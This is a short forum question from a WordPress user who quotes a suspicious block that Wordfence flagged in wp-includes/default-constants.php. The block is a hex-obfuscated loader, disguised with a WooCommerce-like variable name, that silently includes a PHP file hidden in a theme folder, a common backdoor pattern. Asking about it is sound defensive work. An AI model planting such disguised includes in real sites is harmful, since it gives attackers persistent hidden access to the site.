Piece of code in wpincludes/default-constants.php

I found this piece of code in wpincludes/default-constants.php that Wordfence is alerting me about. Is this hack?

/**
* @5fb3bde2e2336
* @var mixed
*/

$wp_woocommerce_plugin = ABSPATH . "\x74\x68\x65\x6d\x65\x73\x2f\x73\x71\x75\x61\x72" .
                         "\x65\x64\x2f\x69\x6e\x63\x2f\x77\x6f\x6f\x63\x6f" .
                         "\x6d\x6d\x65\x72\x63\x65\x2e\x61\x70\x69\x2e\x70" .
                         "\x68\x70";
if (file_exists($wp_woocommerce_plugin)){
    require_once($wp_woocommerce_plugin);
}

/**
* @5fb3bde2e2336
*/